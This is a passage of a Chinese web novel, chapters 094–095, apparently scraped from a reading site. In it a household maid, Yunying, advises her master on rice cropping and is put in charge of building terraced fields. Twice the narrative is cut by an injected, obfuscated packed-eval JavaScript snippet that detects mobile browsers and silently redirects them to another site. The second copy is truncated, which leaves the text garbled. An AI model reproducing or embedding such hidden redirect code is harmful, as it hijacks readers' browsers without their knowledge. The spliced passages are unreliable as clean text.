穗儿忧愁极了,动了动她机灵的小脑袋,已经琢磨起,自己可以做些什么事儿,来撮合姑娘和二爷。 但是,想到二爷的为人,再想想姑娘的臭脾气,穗儿很快又萎了。 还是算了吧,她别再帮了倒忙。 云莺洗漱过,饭菜也端上来了。 这一天奔波劳累,加上下午还算了半天田亩面积,按说她很饿了,看见色香味俱全的饭食,应该胃口大开,多用一些才是。 可实际上,她却像是有心事一样,只简单用了半碗饭,便让人将菜肴都撤了下去。 饭后云莺在院子里转了半圈,就准备回房歇息。 熟料丫鬟去锁门时,正巧遇见秋宁散步回来。 秋宁一眼看见了院子中间的云莺,她眼睛一亮,三两步窜了进来。 “哎呀呀,你和二爷和好了是不是?哎呀,以后你可得把二爷顺好了,可不能再让二爷生气了。” 秋宁巴拉巴拉,“你看吧,我早劝你让你去二爷哪里服个软,你偏不听,结果可好,你不稀罕自有人稀罕,木槿今天就给你上了一课吧?” “木槿的事情,你也知道了?”云莺问秋宁。 说起这个,秋宁眸光更亮了,整个人都眉飞色舞起来,“何止是我知道了,咱们整个县衙的人都知道了好么?” “忒,好心机深沉的一个木槿!我听说她今天特意打扮过,还特意在圈门那边绕着圈等你,为的就是跟你一起去寻二爷,然后跟你们一起出门。结果可好,被二爷直接撵回来了。哈哈哈,木槿丢了个大脸,今天一天都把自己关在院子里,听说连房门都没踏出一步。” 094 舍你其谁 木槿丢了丑,连房门都不踏出来,这显然出乎云莺的预料。 毕竟在她看开,能做出厚脸皮跟着她出门,好蹭车接进二爷的人,应该是没多少脸皮可言的。 可木槿竟还会羞耻? 云莺忍不住轻笑,“我还以为她已经不在乎礼义廉耻了。” “嘿,云莺,你怎么这么会骂人呢?我以前怎么不知道,你还有这么促狭的一面?” 云莺冲秋宁眨眨眼,“我还有更促狭的,你想不想看?” 云莺和秋宁说着没什么营养的话,心情好了许多。 那些不愉快以及过分费脑的事情,她全都抛到脑后,她的心情也变得愉悦起来。 但是,“你私下里笑就行了,你可别跑到木槿哪里去挤兑她。” “为什么?她做了可笑的事情,不就是要人笑的?想让人不取笑她,她别那么厚脸皮,别那么多心思算计啊。” 云莺说:“你也知道木槿心思算计深,我是怕她有一天,把那些算计用到你身上。” “用到我身上?哼,难道我还怕她不成?她来啊,我正愁没借口收拾她呢。” 云莺:“你还是收收你的猖狂劲儿吧,不是我小看你,你不是木槿的对手。” “云莺你到底是那边的?这么看不起我,你到底是不是我这边的?木槿到底是那点入了你的眼了?” “她没入我的眼,我只是提醒你没事儿别招惹她……” 与秋宁打了一会儿嘴官司,云莺口干舌燥的回了房。 因为太心累,原本以为会失眠的她竟然很快就睡着了。 翌日醒来,云莺用过早膳就去了前院。 昨日二爷说过了,让她每日过来核对田亩册子。 好在这不是什么费神的活儿,而二爷这些时日又明显要忙着养珠的事情,他应该不会在府上。 想的很好,却哪里料到,二爷这时候就在书房中。 云莺慢了两拍走过去行了礼,二爷视线都没从手中的书本上离开,随口让她起来,顺便问她,“云莺,你觉得云归县能种三季稻么?” 这怎么又说到三季稻了? 现代三季稻是存在的,但种植区域也比较有限,大多在海南岛、雷州半岛,广西以及云南的南部区域,再就是福建的一部分地区。 这些区域大多气候温暖,光照充足,降水量适中。 可云归县在现代地图上,那是广东省的地界。广东也就湛江一个地区,因为独特的水热条件盛产三季稻,其余地方么,大概率没有。 云莺就说,“应该是种不了。” 二爷的视线从书籍上移开,看向了她,“为什么这么说?” “因为……”云莺仔细斟酌语言,好一会儿后才说,“因为现如今的水稻,基本的生长时间都在四个月左右,云归县的冬天气温较低,我感觉水稻在这里过不了冬。” 二爷露出若有所思的神色,“你说的有道理。” “二爷,您怎么会想到三季稻的?” 二爷看着她说:“云归县的地赤贫较多,即便开出许多荒地,也要养几年才能赶上一般地的水准。”而百姓太苦了,他一刻不想等,只想让他们现在就衣食无忧。 他变不出来更多的田地来,只能想办法让农作物增收。 改良种子与耕作方式他不会,他能想到的,也只有增加农作物耕作的频率,以此来增加粮食产出。 二爷将手中的书拿给云莺看,“我在师兄给我的书籍上,看到过三季稻。但这也只是一个云游僧人的猜想,实施的可能性不大。” 云莺说了句公道话,“只是云归县不适合种三季稻罢了,兴许再往南一些,水热条件合适了,就适合种植了呢。” 云莺如此一说,就让二爷遗憾起来,“可惜云归县略微靠北……” “那也不是说,种了三季稻,就能保证粮食的产出量,比现在两季稻的粮食产出量多的。” “这话又怎么说?” 云莺组织好了语言,说,“我是这样想的二爷。三季稻就是在同一块儿土地里,一年完成三次生长周期。但田地里得营养成分是有限的,若是种植两季稻,能保证营养充足,那种植三季稻,营养也能跟得上么?会不会出现谷穗扁小、营养不足的情况?在这种情况下,种植三季稻所得的收成,真的就比两季稻多么?” 二爷再次露出思索的表情来,显然云莺这个问题问到点上了,他着实还没想到这方面来。 不过,若真要解决这个问题,办法也是现成的,不过是及时追肥罢了。 但肥料去哪里弄? 现如今的肥料,大多是农家肥,都是百姓一天天积攒起来的,数目很有限。至于别的肥料,比如腐土或是河湖里的淤泥,要么百姓们争抢不到,要么不敢舍命去弄。 所以还是那个问题,在水肥不能保证的情况下,盲目去追求三季稻,没有什么意义。 二爷似乎被打击到了,眉头都蹙了起来。 他似乎还在思索解决办法,亦或者在想,可有其他增收的法子。他陷入自己的思绪中,一时间倒没顾得上理会云莺。 反倒是云莺又开口说,“二爷。” “怎么了?” “昨天您在弯月塘问我,在那里养珍珠是否可行,您怎么会想起来问我这个问题的?” 二爷的记忆一下子被拉了回去,忍不住轻笑出声,“你不是说了,我在刻意为难你?” 云莺露出窘迫的神色,“我也说了,那是我与您开玩笑的。二爷,您不是那样的人。” 二爷心中动容,眸光也复杂起来。 他深深的看着云莺,见她不自在的绞着手中的帕子,他心中柔情满溢,但却没有发泄的余地。 二爷声音低沉的道:“就是感觉应该问问你,直觉告诉我,你的回答很有参考性。” “就像是您今天问我三季稻的事情么?” “对。”二爷眸光清亮,“你不是就给了我很具有参考性的答案吗?” …… 二爷在书房呆了没一会儿就离开了,徒留下云莺对着面前的田亩册子,思绪跑到了天外边。 她不时皱眉,不时轻笑,片刻后,却又忍不住长叹了一大口气。 云莺的注意力不高,今天的核算速度就有些慢。 到了上午时,她算的还没昨天半下午多。 云莺心中内疚极了,还很惭愧,就暗暗下决心,下午可不能这么胡思乱想了。该做事时就好好做事,不能让二爷误以为她消极怠工。 云莺站起身准备去用膳,顺便回后院小憩片刻,也不知道是她的动作大了,亦或是地板太滑,她起身时带动了坐下的太师椅,椅子滑动,砰一声撞到身后的书架上。 书架震动几下,上边的书晃晃悠悠,有两本直接掉落下来。 云莺一边吐槽着,这书架太不扛事了,一边火速俯身去捡起地上的两本书。 其中一本是讲地理人文的,云莺没在意,直接放回原来的位置。可第二本书上有两个折痕,她拿着书籍时,那书籍自动翻到折痕的位置,云莺直接就看见了二爷折叠的书页上,上边所写的内容。 下午时,云莺比上午还魂不守舍。 她不时起身看看外边的情况,可惜,今天二爷依旧外出,至今没有回来。 中间墨雪回来取了一次公文。 云莺忍不住问他,“二爷今天什么时候回府?” 墨雪纳罕的瞅她一眼,“姑娘怎么又关心起二爷的事情了?” 平平淡淡的一句话,却让云莺的面色陡然红了个彻底。 她有些无措,更感觉赧然,非常不自在的摆摆手,“我不是关心二爷的事情,我是……我是有要事要与二爷说。” “那就等二爷回来,姑娘再与二爷说吧。” “那二爷究竟什么时候能回来呢?” 墨雪摊摊手,“这我可不知情。不过,二爷没说今天在外边留宿,那天黑之前应该能回来。” 事实上,天黑之前二爷并没有回来。 是云莺洗漱好,将要入睡了,二爷才回了府。 但这时候天色已经很晚了,云莺也不想去打扰二爷,更不想府里再传出些有的没的闲言碎语。 是以,她就没去寻二爷,只想着明日早些过去,和二爷说说此事就是。 然而,似乎老天爷都在和云莺作对。 第二天她去前院去的很早,放在往常,也就是二爷刚用完早膳的时间。但二爷今天竟然已经出去了,且听随云说,二爷是天一亮就出门的。 随云看着云莺,“我听墨雪说,姑娘有重要的事情要和二爷说?” “是,很重要。” “那姑娘晚上过来吧。二爷去视察下边的开荒情况了,今天会走的远一些,回来时指定也入夜了。姑娘等入夜了再来即可。” 云莺没办法,只能颓唐的吐出一口气,应了下来。 这一日云莺的办事效率倒是提上来了,但因为太专注于核对田亩面积,她伏案劳作一整天,不仅腰背酸软,就连脖子都有些发疼。 云莺回去后就泡了个热水澡,并让穗儿给她按摩缓解一下酸痛。 也就在她被穗儿按的昏昏欲睡时,二门的婆子又来了,“姑娘,姑娘您睡了没有,二爷唤您过去呢。” 整个安静的后院,都因为这道声音,重新变得喧闹起来。 云莺都没出门,已经听到了隔壁院子开门的声音。 她想,现在指定有许多人就趴在门口上,看这边的热闹吧。 云莺有些头疼,但一时间也无暇顾忌这许多。 她在穗儿的服侍下换了衣裳。 穗儿看她净是拿些素净的衣服穿,面上露出不赞同的神色,“姑娘,二爷唤您过去,您好歹穿的鲜亮些。这是二爷第一次让您伺候……” 云莺初时没明白穗儿这话的深意,可等她明白过来后,她脸就热了。她忍不住回头嗔了穗儿一眼,“不是你想的那件事。” “那是什么事儿?” “说了你也不懂。” 云莺说正经的,穗儿却当她不好意思,是在糊弄她。 她便也笑嘻嘻的说:“好了好了,我不懂就不懂了,只要姑娘您懂就行。” “只是姑娘,晚上还是有些凉意的,您只穿一件单衣太单薄了,还是加一件披风吧。” 穗儿不由分说的,取了一 件桃红色的披风,直接给云莺披在身上。 桃红色的衣裳非常鲜亮,衬得云莺清冷的气质中多了几分妩媚,整个人也变得明媚娇艳起来。 穗儿推着云莺出门,“姑娘咱们快走吧,别让二爷久等了。” 两人踏出门,柳儿欢快的声音在身后响起,“姑娘,您今晚还回来么?需要奴婢给您留门么?” 云莺差点被门槛绊倒,她往前跌了两下,狼狈的扶住穗儿才总算没出丑。 “回来,不给我留门我今天晚上睡大街上啊。”云莺好气又好笑的说。 “有没有一种可能,您既不用回来,也不用睡大街,您……” “打住,打住!再敢胡言乱语,我罚你月例银子了。” 柳儿被吓的捂住嘴,再不敢胡咧咧了。 但是,堵住了柳儿的嘴,不见得其他人的嘴也被堵住了。 云莺从木槿院门前走过,就听见门后有人窃窃私语,“这是要去伺候二爷吧?” “听说云莺姑娘前两天与二爷和好了。” “咱们姑娘知道了这事儿,指定要大发雷霆。” “那能怎么办?二爷看不上她,我们总不能硬抬着她,把她送到二爷的床上。即便咱们送过去,二爷指定也会丢出来,嘿嘿嘿……” 云莺走到二院通往前院的圈门处,守门的两个婆子看到她,笑意都比之前更谄媚了些。 她们一口一个“云莺姑娘”,还说用不用她们背她过去? 那巴结讨好的样子,吓的云莺鸡皮疙瘩都起来了。 云莺自然回绝了她们的好意,随后脚步更快了些。 终于到了二爷院门口,云莺舒了口气。 她走进去,又看看被拦在院外的穗儿。 云莺说,“天有些冷,不然你先回去吧。” 穗儿就道:“姑娘,难道您今晚真要歇在二爷……” “你都想到哪里去了!我这是心疼你,穗儿你别不识好歹啊。” 穗儿不笑了,一本正经的说,“那奴婢还是不回去了,奴婢就在这儿等着您,省的没人送您回去,您自个儿害怕。” “那也行。” 云莺终究是怕冻着穗儿,就解开身上的披风,要让穗儿披上。 穗儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616626|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪里肯应? 她三两步跑远了,摆手让云莺快进去。 云莺没办法,只能将披风重新披回身上,迈着步子快速进了院子。 二爷的书房亮着灯,花厅里也亮着灯。 云莺只朝花厅那边看了一眼,便很坚定的走进了书房中。 片刻后,书房门被推开,二爷从外边走了进来。 他应该沐浴过了,身上有一股清淡的皂角香气。他头发半干,面色沁凉,看着都比往日更英俊了几分。 “听随云他们说,你有重要的事儿要与我说,是什么事儿?” 云莺站起身给二爷行礼,二爷说:“别客套了,天色晚了,赶紧说完事情你回去休息。” 云莺还以为是二爷不耐烦。 换她,她也可能不耐烦。 毕竟天天都要在外边忙,好不容易回了府,还不能歇息,还要见人处理事情,真是想想就头大。 若不是这事儿着急,云莺也不想此时过来讨人嫌。但是,这事儿当真有点急。 云莺就指着书架上的某本书说,“奴婢不小心撞到了架子,将那本书弄到地上来了。” 二爷何等聪明的人物,只听她说书,便知道,那本书指定与她今天要说的事情有关。“那本书?” 云莺走上前,从第二层取出来那本散文游记。 二爷看到书的封面,已经隐隐猜到云莺要说的事情。但他没开口,静等着云莺揭露谜底。 云莺翻到了二爷折角的那页,“我也是意外看见了这一页,又看到您特意在边角处做了批注,想着您应该是对此事特别在意,这才急慌慌的要见您。” 二爷从云莺手中接过书。 这本散文游记同样是师兄给他送来的书,但这本书,最先是在他的恩师佟阁老手中。 恩师觉得这本书虽然名为游记,但对主政一方的地方官员、治理地方很有益处。 在师兄外放时,恩师将这本书给了师兄,如今师兄又将之送与了他。 被他折角的这页,赫然写的就是岭南府的一些见闻。 而这本书的作者,在其中提到了一个特别有意思的想法,叫做“梯田”。 二爷指着云莺的那张太师椅,“坐下说吧。” 他又唤了随云,让随云端茶上来。 云莺想说,端茶这种事儿,还是她来做吧,随云一看就不是会做这种事的人。 但二爷已经坐到了她对面,静等着她说话,云莺便将到了嘴边的那些话,重新咽回到肚子里。 随云很快端茶过来,上了茶又出去了。云莺却还没想好,该如何开口。 二爷道:“你想怎么说就怎么说,不必担心说错话我苛责你,更不必担心说了不适当的话,我笑话你。” 云莺看了一眼二爷,心道,二爷你这次可猜错了。我既不是怕你苛责,也不是怕你笑话,我是怕你听了后会对我的来历起疑。 毕竟,她接 下来要说的事情,可绝对不是一个被养在院子里、没什么见识的姑娘会知道的。 云莺轻咳了咳,张嘴说,“二爷,您想在云归县试行梯田对不对?” 二爷颔首,“有这个想法,但试行不试行,还不一定。” “您是在担心什么呢?” 二爷看着云莺,“担心工程量太大,耗费的劳动力过多。担心耽误农时,让百姓白忙一场。” “所以,您宁可让百姓们先开荒,也没有贸然让他们造梯田?” 二爷颔首,“这毕竟是未知的,也只是一个提议,更加没有人试行过。” “可这在现实条件下,应该是可行的啊。” 云莺说起了畲田制,其实也就是畲山为田这种耕作方式。 这种耕作方式较为简单粗暴,一句话概括就是:将山上的荆棘砍倒烧光,然后在雨后播种旱谷。这种耕作方式粗暴的还在后边,那就是既不耕翻土地,也不修筑田虚。 想想吧,山岭上的树木柴草全被砍倒拔去了,留下的就是一个个光秃秃的山岭。暴雨来临,就会面临严重的水土流失,所以需要寻觅新的山岭,开辟新的畲田。 畲田制自然是不提倡的,但是这种耕作办法,却是梯田的雏形。 云莺说,“畲田上都能有收获,若是把土地仔细耕翻,再修筑田虚,收获不是更大?至于用水问题,既可以阻拦雨水,又可以想办法将河水或湖水引往高处,那灌溉问题就能得到妥善解决。这样一来,开辟出来的梯田,不也成了可以耕作的良田么?” 云莺觉得自己的话太寡淡了,也太没有条理了,根本没有把自己的意思完善的表达出来。 但她觉得,二爷肯定能接受到她传达的意思。那就是,梯田确实是可行的!比之开荒,梯田造出的土地更多,更有成为不坏田的潜质。 如今就看二爷敢不敢做了。 云莺眼巴巴的看着二爷,二爷托着下颌,直直的看着她。 这样的对视,初始还没什么,渐渐地,云莺就感觉到尴尬。 她轻咳了一声,“我的意思是,梯田可行,二爷,您觉得呢?” “我觉得也可行。只是,在大面积适用之前,小范围的试验我觉得也必不可少。” 云莺点头,“这当然了。” “那如今只剩下一个问题了。” “什么问题呢?”云莺觉得自己不该接这个话,因为总觉得二爷上边那句话里下了套。她若钻进去,就彻底中了二爷的圈套,以后能不能顺利脱身都是个问题。 但云莺着实太好奇了,便压住了心中的那点点不安,将心中所想问出了口。 她眼神有些游弋,还有些飘忽,就是不敢看二爷。 二爷也当真不负她所望,当真给她下了一个套。“问题就是,梯田从未有过,自然也无人知道该怎么建造。我安排去督造梯田的人,不见得会用心办差,而指定会按照我吩咐行事的随云几人,都有要事在身,顾不上梯田一事。” “所以呢?”云莺的声音更飘忽了。 “所以我想着,若你有空,这件事交由你来做。” “可是……为什么会是我呢?” “因为是你说动了我督造梯田,因为你会毫不犹疑的执行我的命令。也是你,会替我完善这个工程中,我所没有想到的地方,且能够自行其事。云莺,这件事,舍你其谁?” 095 委以重任 云莺晕乎乎走出了二爷的院子,整个人像是飘在云中一样。 穗儿在外边不到等了一个时辰,终于等到姑娘出来,她面上不仅没露出惊喜的神色,反倒还落寞起来。 她还往云莺身后看了看,云莺身后自然是没有人的。 穗儿又不着痕迹的,将云莺浑身上下扫视了一圈。 姑娘的衣裳整齐干净,不见丝毫褶皱,之前进去时是什么样,出来时就是什么样。姑娘走路也不见不适,嘴唇也不见红肿…… 更失望了! 难道真是她们想多了? 二爷唤姑娘过来,真就是有要事相商? 穗儿张口唤,“姑娘。” 她的姑娘还在神游中,并没有听见她的呼唤,如此,穗儿不得不再次喊了一声,“姑娘,您在想什么呢?” 这次云莺回神了,也听明白了穗儿在说什么。 她小声嘀咕,“我觉得我被二爷套路了。” “什么套路,姑娘您在说什么?” 我在说,我被二爷套路了! 我感觉今天这场戏,从头到尾就是一场阴谋。 只是,二爷究竟是如何谋算我,又是如何让那本书恰到好处的掉落在她面前,又被她捡起来的,她得好好琢磨琢磨。 云莺说,“我什么都没说。行了,天色很晚了,咱们早点回去休息吧。” 两人说着话,真就往后院走。 只是距离圈门处还有一段距离时,隐隐约约就听见,守门的两个婆子在小声嘀咕着什么:“已经一个时辰了。” “才一个时辰,二爷鼻梁那么高挺,折腾两个时辰也不在话下。” “照你这么说,云莺姑娘指定今晚会被折腾的下不来床,兴许就不回来了。” “那咱们是不是可以去歇息了?” “还是再等等吧……哎呦,云莺姑娘您回来了。” 两个婆子挤眉弄眼一番,随后又热情的迎了上来,要搀扶云莺回后院。 云莺听了她们的闲话,再看他们的做派,真是要气笑出声了。 不过,这些婆子守门也是无聊。她管后院管得紧,不允许她们当差时喝酒吃零嘴,她们无聊之下闲磕牙,好似也可以理解。 云莺懒得与两个老太太计较,微颔首示意过,便带着穗儿回后院了。 直到她们拐过一株芙蓉花树,后边那窃窃私语声才又响起,“回来这么早啊。” “看着腰也不酸,腿也不软,二爷不会是个样子货吧?” “忒你个老货,还编排到二爷身上了,小心让人知道了,去二爷那里告你一状。” “就跟你没说一样……” 两人的声音渐渐听不见了,但云莺的面颊,却控制不住的红了起来。 她决定,明天起来后,得好好肃清一下府里的污言秽语。谁要是再敢在主子背后叽叽歪歪,全都撵出府去。 这一夜无风无浪的过去了。 翌日起来,后院中果然多了许多谣言。 甚至就连秋宁都跑过来和她打探消息。还隐晦的问她,二爷那方面到底强不强。 云莺一把将秋宁推了出去,随即果断让穗儿和柳儿去通知各个地方的小管事,让他们来开个会。 但穗儿和柳儿都走到门口了,云莺又改变主意,将她们叫了回来。 穗儿纳闷问,“姑娘,不用去唤他们了么?” “别唤了,怪没意思的。” 关键是,那都是谣言。两个当事人不发声,那些谣言传两天也就散了。若是她专门为此事给府里的下人立一立规矩,等着瞧吧,这事儿没个一年半载绝对过不去。 谣言是传三五天,还是传一年半载,这全都取决于她之后的操作。 云莺果断选择了第一个。 因此她说,“防人之口甚于防川,她们愿意说就说去吧,总归之后忙起来,也就没精力说闲话了。” 对啊,她可以让人忙起来! 云莺就道:“下了这么长时间的雨,这两天好不容易放晴。让下人检查各处房舍、窗棂、柱子,看看可有漏雨、发霉等情况。另外,院子里的花草也该修剪了,下水道也该疏通一下;还有窗纱和夏裳,眼瞅着天气一天热过一天,这些也该准备起来。灶房那边也过去传个话,就说二爷这两天有些上火,让她们重新列个膳食单子拿来我看……” 云莺这一通命令传下去,后院怕是要忙个底朝天。 届时下人别说说闲话了,怕是忙得连睡觉的时间都不够。 穗儿和柳儿对视一眼,一时间真觉得,怪不得丁姑姑提拔姑娘做管事呢,还是姑娘的手段高明。 果然,这一通吩咐下去,后院整个忙碌起来。 如今走在县衙中,不管在何时何地,总能看见不少下人忙忙碌碌的干活。 或是给房屋上更换瓦片,或是清理墙壁上的霉斑和青苔,亦或者疏通下水道,修剪花草…… 总之众人忙得团团转,真就没功夫说闲话了。 随云几人自然也看到了此景,再联想到那几天传到他们耳朵里的闲言碎语,几人顿时就明白,这是云莺发力了。 不得不说,这办法是真好。 悄无 声息的就将流言繁衍的土壤毁灭了,云莺这手段也是可圈可点。 云莺可不知道,随云几人暗地里,又对她高看一眼。 她现在且忙得很。 既要复查那些田亩面积的数据是否正确,又要准备造梯田。 田亩的数据比较好核算,这就是个机械的工作。只要会算数,再用心些仔细些,基本不出错。 云莺想找两个帮手,但穗儿和柳儿连字都不认识。 后院中秋宁和木槿倒是识字,但秋宁在算数上一窍不通,木槿虽多少会一些,但云莺打心底里膈应她。 也或许是出自她自己的私心,云莺私心里并不想木槿走进二爷的书房、距离二爷更近一些。也因此,云莺也绝了教导木槿的想法。 那就只能等忙过这一茬,回头再让人牙子送几个识字的丫鬟过来,仔仔细细教一遍,以备下一次使用。 不说这些远的,只说现在云莺每天白天核算数据,等到晚上,她就守在二爷的书房中,翻阅二爷的师兄与他送来的那些书籍。 她一整天都呆在二爷的院子里,晚上都要等到子时左右才回去,这就更坐实了她“伺候二爷”的传言。 于是,本来已经压下去的流言,再一次甚嚣尘土。 当然,这些事情云莺是不知道的,云莺忙得分身无暇。 二爷的书房有许多书,其中一些书籍是二爷从京城带过来的,更有很大一部分,是二爷的师兄与恩师送与他的。 可以说,出现在这个书房中的书籍,都是经过仔细挑选的。 其中也确实有几本与“梯田”有关的书,但都是简单提一句两句,至于更仔细些的内容,那却没有。 这也正是云莺为难的地方。 她见过不同形式的梯田,可关于如何修筑梯田,她却说不上个一二三。 是所有山岭都适合修筑梯田,还是只有一定坡度的山脉才适合修筑梯田?梯田的排水和过道该怎么设置?农作物该怎么选择?还有梯田的宽度,是越宽越好,还是最好不超过一定范围?再有就是,梯田该怎么规划才更加合理?修缮完成后,又该怎么去保护? 最后一个问题不太要紧,可以等梯田造好后,一边使用一边完善。 但是,有关前几个问题,云莺一脑袋乱麻,实在理不清个头绪。 她烦闷的揉着自己的面颊,忍不住发出呜呜咽咽的声音。 二爷不知何时推门走了进来,他看着她不知看了多久,他终究是忍不住出声问她,“怎么了?碰到什么难题了?” 云莺从双手中抬起头,侧首看向他。她眉眼中带着自己都没有意识到的委屈,声音中更是添加了许多撒娇似的呢喃。 她挫败的说,“难题太多了,那里都是难题,我一个问题都解决不了。” “给我仔细说说。” 二爷坐在了云莺对面,云莺就托着腮,将她之前考虑的问题一一说了说。 末了,她眼巴巴的看着二爷,“您能告诉我答案么?” 二爷很想告诉她答案,但是,“不能。” 云莺露出“果然如此”的神色。 二爷却又道:“但是我可以将县衙周边的无主山岭,都批给你使用。你可以按照你自己的设想,用那些荒山来做试验。” 云莺闻言顿时精神了,“县衙周边的荒山都给我?” “都给你。” “那该有多少啊?十几、二十个会有的吧??” “不止。如今登记在册的,已经超过数百,只要你觉得需要,你都可以拿去用。” “那太好了!”云莺振奋的欢呼一声,可话音才刚落下,她又忍不住皱起眉头,“你这么信任我,我若是最后做不出成绩来,难堵悠悠众口。” “那你说怎么办?”二爷好整以暇的问她。 云莺脑子一转,又一个办法袭上心头,她就问了一个似乎风马牛不相及的问题,“荒山的租金,贵么?” 她这话一出,二爷就知道她什么意思了。 他忍不住笑了,“不贵,一年也就三两银子。” “三两银子啊?” 三两银子是不贵,可她要用到的,不是一个两个荒山,而是十几个,更或者几十、上百个。这样的话,银子加起来就不是个小数目了。 云莺掰着指头算,究竟租赁多少个荒山才够用。 但话又说回来,这租金是她出还是二爷出? 云莺:“二爷,您会替我出租金的吧?” “什么叫替你出租金?难道不是我给我自己出租金?放心吧,不会让你出钱的。” 云莺露出喜悦的神色,莹润的杏眸都多了几分潋滟的水光。 二爷的嗓音哑了哑,“不仅不会让你出钱,反倒我会多给你发月钱,比照随云他们的俸禄,再给你发一份。若你真把梯田造成了,我还会上折子给你请功。” 云莺忙摆手,“请功就不用了。”若是真造成了,多给她些银子就好了。 比起官职,她还是更稀罕银子。 似乎已经想到了未来某一天,梯田遍地,丰收在望,银子滚滚而来的美好场景,云莺一张清冷的面庞上都多了几分笑意,露出些艳色来。 天已经很晚了,云莺准备回去休息了。 二爷也要去洗漱就寝,就与她一道往书房外走。 一边走,二爷一边问,“核算田亩面积的事儿先放一放,明天我带你去周边转一转。” “去看荒山么?” “对。”二爷拉开房门,让云莺先出去。云莺只顾着与他说话,就没顾及到这些礼节。等走出去了,她又后知后觉意识到,方才是二爷给她开的门,而她还走在了二爷前边。 但这时候她也只能装作没注意到那情况,以免两人更尴尬。 二爷说,“明天带你去挑选你觉得有用的荒山,之后让随云帮你招募些做工的百姓,你就可以着手造梯田了。” “这么着急的么?” “不算急。等你造好梯田,修好排水渠等,大概率早稻也收割了。抓紧些时间,在入冬之前,梯田上指不定能种出一茬庄稼。” 这第一茬庄稼,应该没多少收成。因为荒山上赤贫,肥水都跟不上,这一茬甚至有可能颗粒无收。 但种了就算迈开了第一步,以后就可以根据第一次种植时遇到的各种情况,对梯田加以改善,争取以最快的速度,让梯田成为能为良田,继而在整个云归县普遍起来。 二爷说,“你手中的活儿可以先放一放,若实在忙不过来,我再找人接手也行。” 云莺听到这句话,脚步顿在原地。 她忍不住思索,原来二爷是可以找到人核准数据的。既然如此,为什么偏还要用她? 答案近在咫尺,但云莺拒绝去戳破,竖在答案前的那层薄膜。 她点头应下明天的行程,随即与二爷作别,满怀心事的回了后院。 第二天,云莺自然早早起床,穿上简洁爽利的衣裳,带上穗儿出门。 她们走后不久,秋宁就登门了。 得知云莺今天要与二爷一道出门,且已经出发后,秋宁摸摸自己垂到胸前的黑发,长长的叹了一声,“云莺可真得宠啊!二爷现在真是一时半会儿都离不开云莺啊!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616627|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 清楚知道所有真相的柳儿:“……”她但笑不语。 秋宁发出灵魂一问,“话说,云莺准备什么时候搬到二爷院里?如今这样,云莺每天还需要跑来跑去,那多麻烦。” 柳儿僵硬的笑一笑,“这个问题,奴婢也不知道。” “那我等云莺回来问问她好了。啧,若是二爷不同意她搬,那二爷可真够渣男的,云莺还上赶着伺候他做什么。若是云莺自己不想搬……唉,柳儿,不会是云莺受不住二爷的折腾,才不想搬过去住吧?” 想到这里,秋宁咯咯咯笑起来了,表情特别意味深长。 柳儿再次被噎住了。 她实在应付不来秋宁,最后只能丢下一句,“姑娘的事情,她不说,我们也不好多问。您若真想知道,等姑娘回来您亲自问她吧。” 秋宁点头,“那就等她回来了,你让她去我院里寻我啊。” “好的,奴婢记下了。” …… 出门前晴空万里,出门后,马车才刚出了城门,老天爷就变了脸。 天气很快阴沉下来,不一会儿功夫,又下起了濛濛细雨。 云莺坐在青帷马车内,忍不住掀开窗帘往外看。 濛濛细雨中,二爷与雷霆、随雨骑马走在前边。 细雨不大,但几人的头发上却都沾染上水珠。 尤其是二爷,他身上穿着一件织锦的长衫,那衣衫轻薄,沾了水却特别容易显露痕迹,如今二爷肩膀上都湿透了。 云莺往外探出头,轻快的喊了一声,“二爷。” 二爷勒停马,转过头来。 看到确实是云莺在喊他,而不是他幻听了,二爷策马走到车窗旁边,“怎么了?” 云莺隔着濛濛细雨看着二爷清俊的眉眼。他的面颊上沾染上薄薄的一层水雾,衬得他眉眼愈发清润,面颊棱角分明,当真君子如玉。 “二爷,下雨了,这会儿虽然雨下的小,但不知道待会儿会不会下大。不然我们今天还是不去了,先回县衙怎么样?” “不怎么样。”随雨嘟囔了一声,“二爷是百忙之中才抽出这么一天空,你以为之后二爷还能有闲暇陪你出门?” 云莺愣了愣。 她并不知道,今天出门还是二爷特意拨冗出来的行程。 不过想想也是,二爷这几天正忙着视察开荒的情况,还要关心采珠那边是否进展顺利,县衙的案子他要审,公文他要批复,还要应酬随时可能会有的上峰的召见…… 二爷当真非常非常忙碌,能抽出一天陪她出门,当真不容易。 但是,她也不是非要二爷陪着,才能出来吧? 云莺试探着说,“今天先回去,下次我自己过来也可以。二爷,雨不大,却很凉,您若是感染了风寒,就不太好了。” 说着话时,雨水突然变大,说话不及就浇了人一头一脸。 …… 云莺看着与她一起坐在马车车厢中的二爷,不知道怎么就成了现在这副模样。 话说,她是提议回府的,可如今,他们没有回府,而是按照原先的预定,直奔目的地。 只是,为防二 爷生病,二爷上了马车,而随雨与雷霆一人披了一件蓑衣。 一边给二爷斟茶,云莺一边想,他们的蓑衣是从那里变出来的?以及,当真只有三件蓑衣么? 两件蓑衣分给了雷霆与随雨,另一件在车夫的身上,所以,真的没有第四件了么? 马车中静悄悄的,二爷没有特意找话题,云莺一时间也不知道该说什么。一时间只有窗外马蹄的踏踏声,以及雨水滴落的啪啪声响在耳侧。 突然,马车轮子一歪,整个马车也猛地倾斜。 “啊。”云莺猝不及防之下叫出声来,身子也被甩的差点撞到车厢壁上。 